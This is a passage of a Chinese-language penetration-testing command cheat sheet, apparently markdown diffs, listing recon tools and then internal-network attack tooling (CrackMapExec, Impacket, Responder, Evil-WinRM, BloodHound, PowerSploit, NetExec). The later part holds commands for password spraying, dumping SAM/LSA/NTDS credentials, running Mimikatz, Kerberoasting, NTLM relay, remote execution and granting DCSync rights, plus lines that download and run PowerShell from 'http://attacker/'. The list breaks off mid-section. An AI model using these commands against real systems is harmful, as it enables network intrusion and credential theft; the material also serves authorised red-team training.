||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=security
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 收集网络信息
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=network
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 远程信息收集
|
||||
_platform: windows_
|
||||
```
|
||||
Seatbelt.exe -group=all -computername=TARGET -username=DOMAIN\user -password=password
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SearchSploit `searchsploit-tool`
|
||||
_漏洞搜索工具_
|
||||
|
||||
**Step 0**
|
||||
> 搜索Apache漏洞
|
||||
_platform: linux_
|
||||
```
|
||||
searchsploit apache 2.4
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 精确匹配搜索
|
||||
_platform: linux_
|
||||
```
|
||||
searchsploit -e "Apache 2.4"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 排除特定类型
|
||||
_platform: linux_
|
||||
```
|
||||
searchsploit apache --exclude="DoS"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查看漏洞代码
|
||||
_platform: linux_
|
||||
```
|
||||
searchsploit -x exploits/xxx.py
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 复制到当前目录
|
||||
_platform: linux_
|
||||
```
|
||||
searchsploit -m exploits/xxx.py
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 更新漏洞数据库
|
||||
_platform: linux_
|
||||
```
|
||||
searchsploit -u
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Amass `amass-tool`
|
||||
_子域名枚举工具_
|
||||
|
||||
**Step 0**
|
||||
> 枚举子域名
|
||||
_platform: linux_
|
||||
```
|
||||
amass enum -d target.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 被动信息收集
|
||||
_platform: linux_
|
||||
```
|
||||
amass enum -passive -d target.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 主动信息收集
|
||||
_platform: linux_
|
||||
```
|
||||
amass enum -active -d target.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 暴力破解子域名
|
||||
_platform: linux_
|
||||
```
|
||||
amass enum -brute -d target.com -w wordlist.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 保存枚举结果
|
||||
_platform: linux_
|
||||
```
|
||||
amass enum -d target.com -o output.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Subfinder `subfinder-tool`
|
||||
_子域名发现工具_
|
||||
|
||||
**Step 0**
|
||||
> 枚举子域名
|
||||
_platform: linux_
|
||||
```
|
||||
subfinder -d target.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 递归枚举
|
||||
_platform: linux_
|
||||
```
|
||||
subfinder -d target.com -recursive
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 保存结果
|
||||
_platform: linux_
|
||||
```
|
||||
subfinder -d target.com -o output.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> JSON格式输出
|
||||
_platform: linux_
|
||||
```
|
||||
subfinder -d target.com -json -o output.json
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 批量处理域名
|
||||
_platform: linux_
|
||||
```
|
||||
subfinder -dL domains.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### HTTPX `httpx-tool`
|
||||
_HTTP探测工具_
|
||||
|
||||
**Step 0**
|
||||
> 探测HTTP服务
|
||||
_platform: linux_
|
||||
```
|
||||
cat urls.txt | httpx
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取页面标题和状态码
|
||||
_platform: linux_
|
||||
```
|
||||
cat urls.txt | httpx -title -status-code
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 网页截图
|
||||
_platform: linux_
|
||||
```
|
||||
cat urls.txt | httpx -screenshot
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 技术栈识别
|
||||
_platform: linux_
|
||||
```
|
||||
cat urls.txt | httpx -tech-detect
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 保存结果
|
||||
_platform: linux_
|
||||
```
|
||||
cat urls.txt | httpx -o output.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Masscan `masscan`
|
||||
_最快的互联网端口扫描器，可在5分钟内扫描整个互联网_
|
||||
|
||||
**Step 0**
|
||||
> 以每秒1000包的速率扫描目标所有端口
|
||||
```
|
||||
masscan -p1-65535 target_ip --rate=1000
|
||||
```
|
||||
**语法解析：**
|
||||
- `masscan` — 高速端口扫描器 _command_
|
||||
- `-p1-65535` — 扫描全部65535个端口 _parameter_
|
||||
- `--rate=1000` — 每秒发送1000个数据包 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 扫描常用Web和数据库端口
|
||||
```
|
||||
masscan -p80,443,8080,8443,3306,6379,27017 target_ip/24 --rate=500
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 支持JSON/XML/Grepable格式输出
|
||||
```
|
||||
masscan -p1-65535 target_ip --rate=1000 -oJ result.json
|
||||
masscan -p1-65535 target_ip --rate=1000 -oX result.xml
|
||||
masscan -p1-65535 target_ip --rate=1000 -oG result.grep
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定网卡并排除特定IP范围
|
||||
_platform: linux_
|
||||
```
|
||||
masscan -p1-65535 10.0.0.0/8 --rate=10000 -e eth0 --excludefile exclude.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取服务Banner信息
|
||||
```
|
||||
masscan -p80,443 target_ip/24 --banners --rate=500
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Dirsearch `dirsearch`
|
||||
_高级Web目录和文件暴力破解工具_
|
||||
|
||||
**Step 0**
|
||||
> 扫描指定扩展名的目录和文件
|
||||
```
|
||||
dirsearch -u https://target.com -e php,asp,aspx,jsp,html,js
|
||||
```
|
||||
**语法解析：**
|
||||
- `-u` — 目标URL _parameter_
|
||||
- `-e` — 指定扫描的文件扩展名 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用自定义字典并设置请求延迟
|
||||
```
|
||||
dirsearch -u https://target.com -w /usr/share/wordlists/dirb/big.txt --delay=0.5
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 递归扫描3层深度，排除403/404
|
||||
```
|
||||
dirsearch -u https://target.com -e php -r -R 3 --exclude-status=403,404
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 20线程并发，携带认证信息
|
||||
```
|
||||
dirsearch -u https://target.com -t 20 --cookie="session=abc123" -H "Authorization: Bearer token"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 输出JSON格式结果
|
||||
```
|
||||
dirsearch -u https://target.com -o result.json --format=json
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### FeroxBuster `feroxbuster`
|
||||
_用Rust编写的高性能递归目录发现工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用SecLists字典扫描目录
|
||||
```
|
||||
feroxbuster -u https://target.com -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `feroxbuster` — Rust编写的高速目录枚举工具 _command_
|
||||
- `-u` — 目标URL _parameter_
|
||||
- `-w` — 字典文件路径 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 递归3层，过滤状态码，限制速率
|
||||
```
|
||||
feroxbuster -u https://target.com -d 3 -C 403,404,500 -x php,asp,html --rate-limit 50
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 携带认证头，30线程并发
|
||||
```
|
||||
feroxbuster -u https://target.com -H "Cookie: session=abc" -H "Authorization: Bearer xxx" -t 30
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 自动调整请求速率和过滤条件
|
||||
```
|
||||
feroxbuster -u https://target.com --auto-tune --smart
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### MassDNS `massdns`
|
||||
_高性能DNS解析器，用于子域名暴力枚举_
|
||||
|
||||
**Step 0**
|
||||
> 使用字典文件解析子域名
|
||||
_platform: linux_
|
||||
```
|
||||
massdns -r resolvers.txt -t A -o S -w results.txt subdomains.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `-r resolvers.txt` — DNS解析器列表 _parameter_
|
||||
- `-t A` — 查询A记录 _parameter_
|
||||
- `-o S` — 简洁输出模式 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 批量生成子域名并JSON格式输出
|
||||
_platform: linux_
|
||||
```
|
||||
cat subdomains.txt | sed "s/$/.target.com/" > full_subs.txt
|
||||
massdns -r resolvers.txt -t A -o J full_subs.txt > results.json
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 设置并发数和哈希表大小提高性能
|
||||
_platform: linux_
|
||||
```
|
||||
massdns -r resolvers.txt -t A -o S -w output.txt --hashmap-size 10000 -s 10000 subs.txt
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Amass `amass`
|
||||
_OWASP出品的深度攻击面映射和资产发现工具_
|
||||
|
||||
**Step 0**
|
||||
> 仅使用被动数据源枚举子域名
|
||||
```
|
||||
amass enum -passive -d target.com -o results.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `enum` — 枚举模式 _command_
|
||||
- `-passive` — 仅被动收集(不发送请求) _parameter_
|
||||
- `-d` — 目标域名 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 主动DNS枚举+字典暴力破解
|
||||
```
|
||||
amass enum -active -d target.com -brute -w /usr/share/amass/wordlists/subdomains-top1mil.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 收集WHOIS和组织相关域名情报
|
||||
```
|
||||
amass intel -d target.com -whois
|
||||
amass intel -org "Target Corp" -max-dns-queries 2500
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成D3.js可视化图表和查看历史数据
|
||||
```
|
||||
amass viz -d3 -d target.com
|
||||
amass db -show -d target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Subfinder `subfinder`
|
||||
_被动子域名发现工具，支持多种在线数据源_
|
||||
|
||||
**Step 0**
|
||||
> 枚举子域名并输出到文件
|
||||
```
|
||||
subfinder -d target.com -o subs.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `subfinder` — 被动子域名枚举工具 _command_
|
||||
- `-d` — 目标域名 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用所有数据源递归枚举
|
||||
```
|
||||
subfinder -d target.com -recursive -all -o subs.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 与httpx联动探测存活子域名
|
||||
```
|
||||
subfinder -d target.com -silent | httpx -silent -status-code -title
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 从文件读取多个域名批量枚举
|
||||
```
|
||||
subfinder -dL domains.txt -o all_subs.txt -t 30
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### HTTPX `httpx`
|
||||
_快速多功能HTTP探针工具，用于批量探测Web服务_
|
||||
|
||||
**Step 0**
|
||||
> 批量探测URL存活状态、标题和技术栈
|
||||
```
|
||||
httpx -l urls.txt -status-code -title -tech-detect -o alive.txt
|
||||
```
|
||||
**语法解析：**
|
||||
- `-status-code` — 显示HTTP状态码 _parameter_
|
||||
- `-title` — 提取页面标题 _parameter_
|
||||
- `-tech-detect` — 识别Web技术栈 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 截图、提取favicon哈希和JARM指纹
|
||||
```
|
||||
httpx -l urls.txt -screenshot -favicon -hash md5 -jarm
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 过滤指定状态码并显示服务器信息
|
||||
```
|
||||
cat subs.txt | httpx -silent -mc 200,301,302 -content-length -web-server
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 批量探测指定路径
|
||||
```
|
||||
httpx -l urls.txt -path "/api/v1/health,/admin,/.env,/robots.txt" -mc 200
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WhatWeb `whatweb`
|
||||
_Web指纹识别工具，识别网站使用的技术栈_
|
||||
|
||||
**Step 0**
|
||||
> 识别目标网站技术栈
|
||||
```
|
||||
whatweb https://target.com
|
||||
```
|
||||
**语法解析：**
|
||||
- `whatweb` — Web技术指纹识别工具 _command_
|
||||
|
||||
**Step 0**
|
||||
> 详细输出，攻击等级3(更深度探测)
|
||||
```
|
||||
whatweb -v https://target.com -a 3
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 从文件读取URL批量扫描
|
||||
```
|
||||
whatweb --input-file=urls.txt --log-json=results.json
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出或指定使用特定插件
|
||||
```
|
||||
whatweb --info-plugins
|
||||
whatweb -p WordPress,Joomla,Drupal https://target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### WAFW00F `wafw00f`
|
||||
_Web应用防火墙(WAF)检测和指纹识别工具_
|
||||
|
||||
**Step 0**
|
||||
> 检测目标是否部署WAF及WAF类型
|
||||
```
|
||||
wafw00f https://target.com
|
||||
```
|
||||
**语法解析：**
|
||||
- `wafw00f` — WAF指纹识别工具 _command_
|
||||
|
||||
**Step 0**
|
||||
> 详细模式，测试所有WAF签名
|
||||
```
|
||||
wafw00f https://target.com -v -a
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 批量检测多个URL
|
||||
```
|
||||
wafw00f -i urls.txt -o results.csv
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出所有可识别的WAF产品
|
||||
```
|
||||
wafw00f -l
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### DNSRecon `dnsrecon`
|
||||
_DNS枚举和信息收集工具_
|
||||
|
||||
**Step 0**
|
||||
> 标准DNS记录枚举(SOA/NS/A/MX/TXT等)
|
||||
```
|
||||
dnsrecon -d target.com -t std
|
||||
```
|
||||
**语法解析：**
|
||||
- `-d` — 目标域名 _parameter_
|
||||
- `-t std` — 标准记录枚举类型 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 尝试DNS区域传送
|
||||
```
|
||||
dnsrecon -d target.com -t axfr
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用字典暴力枚举子域名
|
||||
```
|
||||
dnsrecon -d target.com -t brt -D /usr/share/wordlists/subdomains.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 对IP段进行反向DNS查询
|
||||
```
|
||||
dnsrecon -r 192.168.1.0/24 -t rvl
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### DNSEnum `dnsenum`
|
||||
_DNS信息收集工具，支持区域传送和子域名枚举_
|
||||
|
||||
**Step 0**
|
||||
> 枚举DNS信息(NS/MX/A/区域传送等)
|
||||
```
|
||||
dnsenum target.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用字典暴力枚举子域名
|
||||
```
|
||||
dnsenum --enum -f /usr/share/dnsenum/dns.txt --threads 10 target.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定DNS服务器进行枚举
|
||||
```
|
||||
dnsenum --dnsserver 8.8.8.8 target.com
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### theHarvester `theharvester`
|
||||
_邮箱、子域名、IP等OSINT信息收集工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用所有数据源收集信息
|
||||
```
|
||||
theHarvester -d target.com -b all -l 500
|
||||
```
|
||||
**语法解析：**
|
||||
- `-d` — 目标域名 _parameter_
|
||||
- `-b all` — 使用所有可用数据源 _parameter_
|
||||
- `-l 500` — 最大结果数 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用指定数据源搜集
|
||||
```
|
||||
theHarvester -d target.com -b google,bing,linkedin,shodan
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 生成HTML格式报告
|
||||
```
|
||||
theHarvester -d target.com -b all -f report.html
|
||||
```
|
||||
|
||||
---
|
||||
@@ -0,0 +1,870 @@
|
||||
# 内网渗透
|
||||
|
||||
_19 条工具命令_
|
||||
|
||||
### CrackMapExec `crackmapexec`
|
||||
_内网渗透瑞士军刀_
|
||||
|
||||
**Step 0**
|
||||
> 扫描网段内的SMB服务
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24
|
||||
```
|
||||
**语法解析：**
|
||||
- `crackmapexec` — CME工具 _command_
|
||||
- `smb` — SMB协议模块 _value_
|
||||
|
||||
**Step 0**
|
||||
> 使用单个密码测试多个用户
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24 -u users.txt -p Password123
|
||||
```
|
||||
**语法解析：**
|
||||
- `-u` — 用户名或用户文件 _parameter_
|
||||
- `-p` — 密码或密码文件 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 测试凭证是否有效
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24 -u admin -p password
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用哈希进行认证
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.0/24 -u admin -H NTHASH
|
||||
```
|
||||
**语法解析：**
|
||||
- `-H` — NTLM哈希 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 在目标机器执行命令
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password -x "whoami"
|
||||
```
|
||||
**语法解析：**
|
||||
- `-x` — 执行命令 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 在目标机器执行PowerShell
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password -X "Get-Process"
|
||||
```
|
||||
**语法解析：**
|
||||
- `-X` — 执行PowerShell命令 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 导出SAM数据库
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password --sam
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出LSASS凭证
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password --lsa
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 执行Mimikatz模块
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec smb 192.168.1.100 -u admin -p password -M mimikatz
|
||||
```
|
||||
**语法解析：**
|
||||
- `-M` — 指定模块 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 通过WinRM执行命令
|
||||
_platform: linux_
|
||||
```
|
||||
crackmapexec winrm 192.168.1.100 -u admin -p password
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Impacket `impacket`
|
||||
_Python网络协议库_
|
||||
|
||||
**Step 0**
|
||||
> PsExec远程执行
|
||||
_platform: linux_
|
||||
```
|
||||
psexec.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> WMI远程执行
|
||||
_platform: linux_
|
||||
```
|
||||
wmiexec.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过计划任务执行
|
||||
_platform: linux_
|
||||
```
|
||||
atexec.py domain/user:password@target_ip "command"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> SMB远程执行
|
||||
_platform: linux_
|
||||
```
|
||||
smbexec.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 导出所有凭证
|
||||
_platform: linux_
|
||||
```
|
||||
secretsdump.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Kerberoasting攻击
|
||||
_platform: linux_
|
||||
```
|
||||
GetUserSPNs.py domain/user:password -dc-ip dc_ip -request
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> AS-REP Roasting攻击
|
||||
_platform: linux_
|
||||
```
|
||||
GetNPUsers.py domain/ -usersfile users.txt -format hashcat
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> NTLM中继攻击
|
||||
_platform: linux_
|
||||
```
|
||||
ntlmrelayx.py -tf targets.txt -smb2support
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> MSSQL客户端
|
||||
_platform: linux_
|
||||
```
|
||||
mssqlclient.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过LSA枚举用户
|
||||
_platform: linux_
|
||||
```
|
||||
lookupsid.py domain/user:password@target_ip
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Responder `responder`
|
||||
_LLMNR/NBT-NS/MDNS Poisoner_
|
||||
|
||||
**Step 0**
|
||||
> 启动Responder监听
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 被动分析模式
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -A
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启用WPAD代理攻击
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -wF
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启用Finger服务
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -f
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 禁用SMB服务
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 --disable-smb
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查看捕获的哈希
|
||||
_platform: linux_
|
||||
```
|
||||
cat /usr/share/responder/logs/*.txt
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启用DHCP欺骗
|
||||
_platform: linux_
|
||||
```
|
||||
responder -I eth0 -D
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### Evil-WinRM `evil-winrm`
|
||||
_WinRM远程管理工具_
|
||||
|
||||
**Step 0**
|
||||
> 使用密码连接
|
||||
_platform: linux_
|
||||
```
|
||||
evil-winrm -i target_ip -u user -p password
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 使用哈希连接
|
||||
_platform: linux_
|
||||
```
|
||||
evil-winrm -i target_ip -u user -H ntlm_hash
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 上传文件到目标
|
||||
_platform: linux_
|
||||
```
|
||||
upload local_file remote_path
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 从目标下载文件
|
||||
_platform: linux_
|
||||
```
|
||||
download remote_path local_file
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 加载PowerShell脚本
|
||||
_platform: linux_
|
||||
```
|
||||
menu
|
||||
Bypass-4MSI
|
||||
Invoke-Mimikatz
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 执行PowerShell命令
|
||||
_platform: linux_
|
||||
```
|
||||
Invoke-Command -ScriptBlock {whoami}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### ProxyChains `proxychains`
|
||||
_代理链工具_
|
||||
|
||||
**Step 0**
|
||||
> 配置SOCKS代理
|
||||
_platform: linux_
|
||||
```
|
||||
vim /etc/proxychains4.conf
|
||||
[ProxyList]
|
||||
socks5 127.0.0.1 1080
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过代理运行工具
|
||||
_platform: linux_
|
||||
```
|
||||
proxychains4 nmap -sT -Pn target_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 动态代理链
|
||||
_platform: linux_
|
||||
```
|
||||
dynamic_chain
|
||||
[ProxyList]
|
||||
socks5 127.0.0.1 1080
|
||||
socks5 127.0.0.1 1081
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 严格按顺序使用代理
|
||||
_platform: linux_
|
||||
```
|
||||
strict_chain
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 随机选择代理
|
||||
_platform: linux_
|
||||
```
|
||||
random_chain
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### BloodHound `bloodhound-tool`
|
||||
_Active Directory关系分析工具_
|
||||
|
||||
**Step 0**
|
||||
> 启动Neo4j数据库
|
||||
_platform: linux_
|
||||
```
|
||||
sudo neo4j console
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 启动BloodHound界面
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 采集所有域信息
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> PowerShell远程加载采集
|
||||
_platform: windows_
|
||||
```
|
||||
IEX(New-Object Net.WebClient).DownloadString("http://attacker/SharpHound.ps1"); Invoke-BloodHound -CollectionMethod All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> Python版本采集
|
||||
_platform: linux_
|
||||
```
|
||||
bloodhound-python -u user -p password -d domain.com -ns dc_ip
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询到域管理员的最短路径
|
||||
```
|
||||
MATCH p=shortestPath((n:User)-[*1..]->(m:Group)) WHERE m.name="DOMAIN ADMINS@DOMAIN.COM" RETURN p
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询DCSync权限关系
|
||||
```
|
||||
MATCH (n)-[r:DCSync]->(m) RETURN n,m
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询无约束委派计算机
|
||||
```
|
||||
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查询高权限用户
|
||||
```
|
||||
MATCH (n:User) WHERE n.admincount=true RETURN n
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SharpHound `sharphound-tool`
|
||||
_BloodHound数据采集器_
|
||||
|
||||
**Step 0**
|
||||
> 采集所有数据
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定域控制器
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All --LdapUsername user --LdapPassword pass --DomainController dc.domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定域名
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All --Domain domain.com
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 随机文件名隐蔽采集
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c All --RandomizeFilenames --OutputDirectory C:\Users\Public
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 指定采集方法
|
||||
_platform: windows_
|
||||
```
|
||||
SharpHound.exe -c Default,ACL,Trusts,Container
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### SharpSMBClient `sharpsmbclient-tool`
|
||||
_SMB客户端工具_
|
||||
|
||||
**Step 0**
|
||||
> 列出SMB共享
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -L
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 列出共享目录
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -l
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 下载文件
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -g "path\file"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 上传文件
|
||||
_platform: windows_
|
||||
```
|
||||
SharpSMBClient.exe -d domain -u user -p password -i target_ip -s C$ -p local_file -r remote_path
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### PowerSploit `powersploit-tool`
|
||||
_PowerShell渗透测试框架_
|
||||
|
||||
**Step 0**
|
||||
> 远程加载PowerView
|
||||
_platform: windows_
|
||||
```
|
||||
IEX(New-Object Net.WebClient).DownloadString("http://attacker/PowerView.ps1")
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域信息
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetDomain
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域用户
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetUser
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域管理员
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetGroup "Domain Admins"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取域控制器
|
||||
_platform: windows_
|
||||
```
|
||||
Get-NetDomainController
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 查找域管理员登录位置
|
||||
_platform: windows_
|
||||
```
|
||||
Find-DomainUserLocation
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 获取对象ACL
|
||||
_platform: windows_
|
||||
```
|
||||
Get-ObjectAcl -SamAccountName target
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 添加DCSync权限
|
||||
_platform: windows_
|
||||
```
|
||||
Add-DomainObjectAcl -TargetIdentity target -Rights DCSync
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
### NetExec `netexec`
|
||||
_CrackMapExec的继任者，网络渗透测试自动化工具_
|
||||
|
||||
**Step 0**
|
||||
> SMB共享和用户枚举
|
||||
```
|
||||
nxc smb 10.0.0.0/24 -u user -p password --shares
|
||||
nxc smb 10.0.0.0/24 -u user -p password --users
|
||||
```
|
||||
**语法解析：**
|
||||
- `nxc` — NetExec命令行工具 _command_
|
||||
- `smb` — 指定SMB协议 _parameter_
|
||||
- `--shares` — 枚举共享目录 _parameter_
|
||||
|
||||
**Step 0**
|
||||
> 使用单一密码对多用户进行喷射
|
||||
```
|
||||
nxc smb 10.0.0.0/24 -u users.txt -p "Password123!" --continue-on-success
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 通过SMB/WinRM执行命令
|
||||
```
|
||||
nxc smb target_ip -u admin -p password -x "whoami"
|
||||
nxc winrm target_ip -u admin -p password -X "Get-Process"
|
||||
```
|
||||
|
||||
**Step 0**
|
||||
> 提取SAM/LSA/NTDS中的凭证
|
||||
```
|
||||
nxc smb target_ip -u admin -p password --sam
|
||||
nxc smb target_ip -u admin -p password --lsa
|
